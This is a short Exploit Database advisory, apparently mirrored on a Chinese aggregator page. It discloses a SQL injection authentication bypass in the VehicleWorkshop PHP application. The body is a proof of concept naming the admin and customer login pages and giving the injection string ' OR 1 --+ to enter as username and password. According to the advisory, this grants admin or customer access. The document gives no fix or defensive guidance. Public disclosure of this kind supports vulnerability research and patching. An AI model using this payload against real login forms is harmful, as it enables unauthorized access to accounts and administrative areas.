VehicleWorkshop – Authentication Bypass

• Exploit Database
• 19 阅读

• 作者： Touhid M.Shaikh
  日期： 2017-08-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42403/

• [*] Type: Admin or Customer login bypass via SQL injection
  [*] Author: Touhid M.Shaikh
  [*] Vendor Homepage: https://github.com/spiritson/VehicleWorkshop
  [*] Mail: touhidshaikh22[at]gmail[dot]com
  [*] More info: https://blog.touhidshaikh.com/
  
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  
  ===================== PoC ================
  
  Admin Login Page : http://127.0.0.1/emplogin.php
  Customer Login Page : http://127.0.0.1/login.php
  
  
  Navigate admin login page or Customer Login Page and submit ' OR 1 --+ for
  username and password
  
  
  
  
  and it should give you access to the admin area or Customer Area.
  
  
  Regards.
  Touhid Shaikh